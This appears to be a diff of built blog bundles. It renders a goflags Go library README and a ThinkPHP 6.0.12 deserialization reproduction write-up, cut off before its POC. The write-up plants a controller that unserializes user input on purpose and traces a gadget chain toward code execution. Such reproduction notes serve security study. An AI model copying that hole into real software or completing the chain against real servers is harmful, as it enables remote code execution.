strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4629],{6012:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>a,contentTitle:()=>o,default:()=>h,frontMatter:()=>l,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","title":"goflags","description":"[!Tip]","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/03.GoLang-goflags.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/03.GoLang-goflags.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"02.GoLand-net.http.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http"},"next":{"title":"CVE-2022-26134","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u4ee3\u7801\u6848\u4f8b/GoLang-\u7f16\u5199POC/GoLang-CVE-2022-26134"}}');var s=t(74848),r=t(28453);const l={},o="goflags",a={},d=[{value:"Features",id:"features",level:2},{value:"Usage",id:"usage",level:2},{value:"Flag Types",id:"flag-types",level:3},{value:"String Slice Options",id:"string-slice-options",level:3},{value:"Example",id:"example",level:2},{value:"Thanks",id:"thanks",level:3}];function c(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"goflags",children:"goflags"})}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,s.jsx)(e.p,{children:"\u672c\u7bc7\u6587\u7ae0\u53c2\u8003\u5982\u4e0b\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8bf7\u8054\u7cfb\u6211\u5220\u9664\u3002"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags",children:"\u7b2c\u4e09\u5341\u516d\u7ae0 net/http\u5305 \xb7 Go \u8bed\u8a00 42 \u7ae0\u7ecf"})}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(e.p,{children:[(0,s.jsx)(e.a,{href:"LICENSE.md",children:(0,s.jsx)(e.img,{src:"https://img.shields.io/github/license/projectdiscovery/goflags",alt:"License"})}),"\n",(0,s.jsx)(e.img,{src:"https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei?filename=v2%2Fgo.mod",alt:"Go version"}),"\n",(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags/releases/",children:(0,s.jsx)(e.img,{src:"https://img.shields.io/github/release/projectdiscovery/goflags",alt:"Release"})}),"\n",(0,s.jsx)(e.a,{href:"https://github.com/projectdiscovery/goflags/actions/workflows/build-test.yml",children:(0,s.jsx)(e.img,{src:"https://github.com/projectdiscovery/goflags/actions/workflows/build-test.yml/badge.svg",alt:"Checks"})})]}),"\n",(0,s.jsxs)(e.p,{children:["An extension of the go ",(0,s.jsx)(e.code,{children:"flag"})," library that adds convenience functions and functionalities like config file, better usage, short and long flag support, custom types for string slices and maps etc."]}),"\n",(0,s.jsx)(e.h2,{id:"features",children:"Features"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"In-built YAML Configuration file support."}),"\n",(0,s.jsx)(e.li,{children:"Better usage instructions"}),"\n",(0,s.jsx)(e.li,{children:"Short and long flags support"}),"\n",(0,s.jsx)(e.li,{children:"Custom String Slice types with different options (comma-separated,normalized,etc)"}),"\n",(0,s.jsx)(e.li,{children:"Custom Map type"}),"\n",(0,s.jsx)(e.li,{children:"Flags grouping support (CreateGroup,SetGroup)"}),"\n"]}),"\n",(0,s.jsx)(e.h2,{id:"usage",children:"Usage"}),"\n",(0,s.jsxs)(e.p,{children:["The following types are supported by the goflags library. The ",(0,s.jsx)(e.code,{children:"<name>P"})," suffix means that the flag supports both a long and a short flag for the option."]}),"\n",(0,s.jsx)(e.h3,{id:"flag-types",children:"Flag Types"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"Function"}),(0,s.jsx)(e.th,{children:"Description"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"BoolVar"}),(0,s.jsx)(e.td,{children:"Boolean value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"BoolVarP"}),(0,s.jsx)(e.td,{children:"Boolean value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"DurationVar"}),(0,s.jsx)(e.td,{children:"Time Duration value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"DurationVarP"}),(0,s.jsx)(e.td,{children:"Time Duration value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"IntVar"}),(0,s.jsx)(e.td,{children:"Integer value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"IntVarP"}),(0,s.jsx)(e.td,{children:"Integer value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"PortVar"}),(0,s.jsx)(e.td,{children:"Port value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"PortVarP"}),(0,s.jsx)(e.td,{children:"Port value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"RuntimeMapVar"}),(0,s.jsx)(e.td,{children:"Map value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"RuntimeMapVarP"}),(0,s.jsx)(e.td,{children:"Map value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVar"}),(0,s.jsx)(e.td,{children:"String Slice value with long name and options"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVarConfigOnly"}),(0,s.jsx)(e.td,{children:"String Slice value with long name read from config file only"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceVarP"}),(0,s.jsx)(e.td,{children:"String slice value with long short name and options"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVar"}),(0,s.jsx)(e.td,{children:"String value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVarEnv"}),(0,s.jsx)(e.td,{children:"String value with long short name read from environment"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringVarP"}),(0,s.jsx)(e.td,{children:"String value with long short name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"Var"}),(0,s.jsx)(e.td,{children:"Custom value with long name implementing flag.Value interface"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"VarP"}),(0,s.jsx)(e.td,{children:"Custom value with long short name implementing flag.Value interface"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"EnumVar"}),(0,s.jsx)(e.td,{children:"Enum value with long name"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"EnumVarP"}),(0,s.jsx)(e.td,{children:"Enum value with long short name"})]})]})]}),"\n",(0,s.jsx)(e.h3,{id:"string-slice-options",children:"String Slice Options"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"String Slice Option"}),(0,s.jsx)(e.th,{children:"Tokenization"}),(0,s.jsx)(e.th,{children:"Normalization"}),(0,s.jsx)(e.th,{children:"Description"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"StringSliceOptions"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Default String Slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"CommaSeparatedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Comma-separated string slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileCommaSeparatedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Comma-separated items from file/cli"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"NormalizedOriginalStringSliceOptions"}),(0,s.jsx)(e.td,{children:"None"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileNormalizedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice from file/cli"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"FileStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of string slice from file"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"NormalizedStringSliceOptions"}),(0,s.jsx)(e.td,{children:"Comma"}),(0,s.jsx)(e.td,{children:"Standard"}),(0,s.jsx)(e.td,{children:"List of normalized string slice"})]})]})]}),"\n",(0,s.jsx)(e.h2,{id:"example",children:"Example"}),"\n",(0,s.jsx)(e.p,{children:"An example showing various options of the library is specified below."}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"log"\n\n\t"github.com/projectdiscovery/goflags"\n)\n\ntype options struct {\n\tsilent bool\n\tinputs goflags.StringSlice\n\tconfig string\n\tvalues goflags.RuntimeMap\n}\n\nconst (\n\tNil goflags.EnumVariable = iota\n\tType1\n\tType2\n)\n\nfunc main() {\n\tenumAllowedTypes := goflags.AllowdTypes{"type1": Type1, "type2": Type2}\n\topt := &options{}\n\n\tflagSet := goflags.NewFlagSet()\n\tflagSet.SetDescription("Test program to demonstrate goflags options")\n\n\tflagSet.EnumVarP(&options.Type, "enum-type", "et", Nil, "Variable Type (type1/type2)", enumAllowedTypes)\n\tflagSet.BoolVar(&opt.silent, "silent", true, "show silent output")\n\tflagSet.StringSliceVarP(&opt.inputs, "inputs", "i", nil, "list of inputs (file,comma-separated)", goflags.FileCommaSeparatedStringSliceOptions)\n\n\t// Group example\n\tflagSet.CreateGroup("config", "Configuration",\n\t\tflagSet.StringVar(&opt.config, "config", "", "file to read config from"),\n\t\tflagSet.RuntimeMapVar(&opt.values, "values", nil, "key-value runtime values"),\n\t)\n\tif err := flagSet.Parse(); err != nil {\n\t\tlog.Fatalf("Could not parse flags: %s\\n", err)\n\t}\n\tif opt.config != "" {\n\t\tif err := flagSet.MergeConfigFile(opt.config); err != nil {\n\t\t\tlog.Fatalf("Could not merge config file: %s\\n", err)\n\t\t}\n\t}\n\tfmt.Printf("silent: %v inputs: %v config: %v values: %v\\n", opt.silent, opt.inputs, opt.config, opt.values)\n}\n'})}),"\n",(0,s.jsx)(e.h3,{id:"thanks",children:"Thanks"}),"\n",(0,s.jsxs)(e.ol,{children:["\n",(0,s.jsx)(e.li,{children:"spf13/cobra - For the very nice usage template for the command line."}),"\n",(0,s.jsx)(e.li,{children:"nmap/nmap - For the service-port mapping and top-ports list."}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,s.jsx)(e,{...n,children:(0,s.jsx)(c,{...n})}):c(n)}},28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>o});var i=t(96540);const s={},r=i.createContext(s);function l(n){const e=i.useContext(r);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:l(n.components),i.createElement(r.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/1f391b9e.39b0150e.js b/en/assets/js/1f391b9e.39b0150e.js new file mode 100644 index 0000000..841a8cd --- /dev/null +++ b/en/assets/js/1f391b9e.39b0150e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6061],{67973:(e,a,s)=>{s.r(a),s.d(a,{default:()=>p});s(96540);var t=s(34164),l=s(45500),d=s(17559),i=s(21656),r=s(2697),c=s(67763),n=s(86896),o=s(12153);const m={mdxPageWrapper:"mdxPageWrapper_j9I6"};var g=s(74848);function p(e){const{content:a}=e,{metadata:s,assets:p}=a,{title:x,editUrl:h,description:j,frontMatter:A,lastUpdatedBy:v,lastUpdatedAt:_}=s,{keywords:b,wrapperClassName:u,hide_table_of_contents:w}=A,N=p.image??A.image,k=!!(h||_||v);return(0,g.jsx)(l.e3,{className:(0,t.A)(u??d.G.wrapper.mdxPages,d.G.page.mdxPage),children:(0,g.jsxs)(i.A,{children:[(0,g.jsx)(l.be,{title:x,description:j,keywords:b,image:N}),(0,g.jsx)("main",{className:"container container--fluid margin-vert--lg",children:(0,g.jsxs)("div",{className:(0,t.A)("row",m.mdxPageWrapper),children:[(0,g.jsxs)("div",{className:(0,t.A)("col",!w&&"col--8"),children:[(0,g.jsx)(n.A,{metadata:s}),(0,g.jsx)("article",{children:(0,g.jsx)(r.A,{children:(0,g.jsx)(a,{})})}),k&&(0,g.jsx)(o.A,{className:(0,t.A)("margin-top--sm",d.G.pages.pageFooterEditMetaRow),editUrl:h,lastUpdatedAt:_,lastUpdatedBy:v})]}),!w&&a.toc.length>0&&(0,g.jsx)("div",{className:"col col--2",children:(0,g.jsx)(c.A,{toc:a.toc,minHeadingLevel:A.toc_min_heading_level,maxHeadingLevel:A.toc_max_heading_level})})]})})]})})}}}]); \ No newline at end of file diff --git a/en/assets/js/1f6cd8a5.e34036d4.js b/en/assets/js/1f6cd8a5.e34036d4.js new file mode 100644 index 0000000..a239322 --- /dev/null +++ b/en/assets/js/1f6cd8a5.e34036d4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7505],{28453:(n,e,s)=>{s.d(e,{R:()=>l,x:()=>r});var i=s(96540);const t={},c=i.createContext(t);function l(n){const e=i.useContext(c);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function r(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(t):n.components||t:l(n.components),i.createElement(c.Provider,{value:e},n.children)}},55954:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>d,contentTitle:()=>r,default:()=>a,frontMatter:()=>l,metadata:()=>i,toc:()=>h});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/02.Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/02.\u6f0f\u6d1e\u590d\u73b0/01.Thinkphp/02.Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"next":{"title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce"}}');var t=s(74848),c=s(28453);const l={},r=void 0,d={},h=[{value:"\u6d4b\u8bd5\u4ee3\u7801",id:"\u6d4b\u8bd5\u4ee3\u7801",level:2},{value:"\u6f0f\u6d1e\u5206\u6790",id:"\u6f0f\u6d1e\u5206\u6790",level:2},{value:"POC",id:"poc",level:2},{value:"\u7ed3\u679c",id:"\u7ed3\u679c",level:2}];function o(n){const e={blockquote:"blockquote",code:"code",h2:"h2",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...n.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(e.tbody,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{style:{textAlign:"left"},children:(0,t.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(e.td,{style:{textAlign:"left"},children:"2025-08-19 16:46:59"})]})})]}),"\n",(0,t.jsxs)(e.blockquote,{children:["\n",(0,t.jsx)(e.p,{children:"Thinkphp6.0.12"}),"\n",(0,t.jsx)(e.p,{children:"php 7.4.0"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"composer create-project topthink/think=6.0.12 tp6"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6d4b\u8bd5\u4ee3\u7801",children:"\u6d4b\u8bd5\u4ee3\u7801"}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a\u6d4b\u8bd5\u63a7\u5236\u5668"}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"php think make:controller Test"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsx)(e.li,{children:"\u5728Test\u63a7\u5236\u5668 index\u65b9\u6cd5\u4e2d\u6dfb\u52a0"}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:" public function index()\n {\n if ($a=input('param.a')){\n var_dump(base64_decode($a));\n echo \"<br>\";\n unserialize(base64_decode($a));\n }\n }\n"})}),"\n",(0,t.jsx)(e.h2,{id:"\u6f0f\u6d1e\u5206\u6790",children:"\u6f0f\u6d1e\u5206\u6790"}),"\n",(0,t.jsxs)(e.p,{children:["\u200b\t1.\u5728\u5927\u4f6c\u7684\u6587\u7ae0\u603b\u7ed3\u4e2d\uff0c \u53cd\u5e8f\u5217\u5316 \u4e00\u822c\u8d77\u70b9\u51fa\u73b0\u5728__desturct \u548c __wakeup \u901a\u8fc7\u5168\u5c40\u641c\u7d22 \u67e5\u8be2\u6ee1\u8db3\u6761\u4ef6\u7684 \u5728\uff1a",(0,t.jsx)(e.code,{children:"vendor\\topthink\\think-orm\\src\\Model.php"}),"(\u5927\u4f6c\u600e\u4e48\u8bf4\u6211\u600e\u4e48\u5199)"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646879.png",alt:"image-20220303180420019"})}),"\n",(0,t.jsxs)(e.ol,{start:"2",children:["\n",(0,t.jsxs)(e.li,{children:["\n",(0,t.jsxs)(e.p,{children:["\u7b2c\u4e00\u4e2a\u6761\u4ef6 \u8981\u628a ",(0,t.jsx)(e.code,{children:"$this->lazySave"}),"\u8bbe\u7f6e\u4e3aTrue"]}),"\n",(0,t.jsxs)(e.p,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->save()"}),", ",(0,t.jsx)(e.code,{children:"$this->isEmpty()"})," \u53ea\u8981\u4fdd\u8bc1data \u4e0d\u4e3a\u7a7a\u5c31\u884c ",(0,t.jsx)(e.code,{children:"$this->trigger('BeforeWrite'))"})," \u9ed8\u8ba4\u8fd4\u56de\u4e3a\u771f"]}),"\n"]}),"\n"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"public function isEmpty(): bool\n{\n return empty($this->data);\n}\n"})}),"\n",(0,t.jsxs)(e.ol,{start:"3",children:["\n",(0,t.jsxs)(e.li,{children:["\u5c06 ",(0,t.jsx)(e.code,{children:"$this->exists"}),"\u8bbe\u7f6e\u4e3aTrue\uff0c\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"$this -> updateData()"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646880.png",alt:"image-20220303181123318"})}),"\n",(0,t.jsxs)(e.ol,{start:"4",children:["\n",(0,t.jsxs)(e.li,{children:["\u5728 621\u5217 ",(0,t.jsx)(e.code,{children:"$allowFields = $this->checkAllowFields()"})," \u8ddf\u8fdb"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646881.png",alt:"image-20220303181558066"})}),"\n",(0,t.jsxs)(e.ol,{start:"5",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb 565\u5217 ",(0,t.jsx)(e.code,{children:"$query = $this->db();"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646882.png",alt:"image-20220303181719266"})}),"\n",(0,t.jsxs)(e.ol,{start:"6",children:["\n",(0,t.jsxs)(e.li,{children:["\u5728362\u884c\u5c06 ",(0,t.jsx)(e.code,{children:"$this->table . $this->suffix"})," \u62fc\u63a5\u5728\u4e00\u8d77\uff0c\u5c06$this->table \u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u5bf9\u8c61 \u89e6\u53d1 __toString"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646883.png",alt:"image-20220303181958370"})}),"\n",(0,t.jsxs)(e.ol,{start:"7",children:["\n",(0,t.jsxs)(e.li,{children:["\u5168\u5c40\u67e5\u627e__toString \u6700\u540e\u5728 ",(0,t.jsx)(e.code,{children:"vendor\\topthink\\think-orm\\src\\model\\concern\\Conversion.php"})," \u4e2d\u627e\u5230__toString()\uff08\u4ee5\u524d\u7248\u672c\u4e5f\u662f\u5728\u8fd9\u91cc\u51fa\u73b0\u6f0f\u6d1e\u7684\uff0c\u53cd\u6b63\u5f88\u597d\u627e\u5230\uff09\u8fd9\u91cc\u662f\u4e00\u4e2a\u4ee3\u7801\u590d\u7528\u7684\u673a\u5236\u6240\u4ee5\u4e0d\u7528\u5c06",(0,t.jsx)(e.code,{children:"$this->table"})," \u8bbe\u7f6e\u6210\u7279\u5b9a\u7c7b\uff0c \u521a\u597dModel\u62bd\u8c61\u7c7b\u4e5f\u6709\u7528\u5230 ",(0,t.jsx)(e.code,{children:"use model\\concern\\Conversion"})," \u6240\u4ee5\u8fd9\u91cc\u76f4\u63a5\u5b9e\u4f8b\u5316\u672c\u8eab\u5c31\u884c"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646884.png",alt:"image-20220303183151437"})}),"\n",(0,t.jsxs)(e.ol,{start:"8",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->toArray()"})," \uff0c\u5c06 ",(0,t.jsx)(e.code,{children:"$this->data"})," \u8bbe\u7f6e\u4e3a\u6570\u636e\u5373\u53ef\u8fdb\u5165\u5faa\u73af\uff0c \u5728238 \u4e2d\u8ddf\u8fdb ",(0,t.jsx)(e.code,{children:"$key"})," \u662f ",(0,t.jsx)(e.code,{children:"$data"}),"\u7684\u952e\u540d"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646885.png",alt:"image-20220303183401764"})}),"\n",(0,t.jsxs)(e.ol,{start:"9",children:["\n",(0,t.jsxs)(e.li,{children:["\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getAttr($key)"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646886.png",alt:"image-20220303183631626"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$name"})," \u53ef\u63a7\u4e0d\u63d0"]}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$value"})," \u4e3a ",(0,t.jsx)(e.code,{children:"$this->getData($name)"}),"\u8fd4\u56de\u503c \uff0c\u8ddf\u8fdb\u4e00\u4e0b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646887.png",alt:"image-20220303183905068"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$fieldName"})," \u8ddf\u8fdb\u4e00\u4e0b"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646888.png",alt:"image-20220303183952916"})}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"$fieldName"})," \u53ef\u63a7\uff0c \u8fd4\u56de\u7684\u662f ",(0,t.jsx)(e.code,{children:"$this->data[$fieldName]"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u5f88\u660e\u663e\u8fd9\u4e2a",(0,t.jsx)(e.code,{children:"$value"}),"\u5c31\u662f ",(0,t.jsx)(e.code,{children:"$this->data"}),"\u7684\u503c\uff0c"]}),"\n",(0,t.jsxs)(e.ol,{start:"10",children:["\n",(0,t.jsxs)(e.li,{children:["\u7ee7\u7eed\u8ddf\u8fdb",(0,t.jsx)(e.code,{children:"$this->getValue($name, $value, $relation);"})]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191646889.png",alt:"image-20220303184253914"})}),"\n",(0,t.jsxs)(e.p,{children:["\u7b2c 509 \u884c 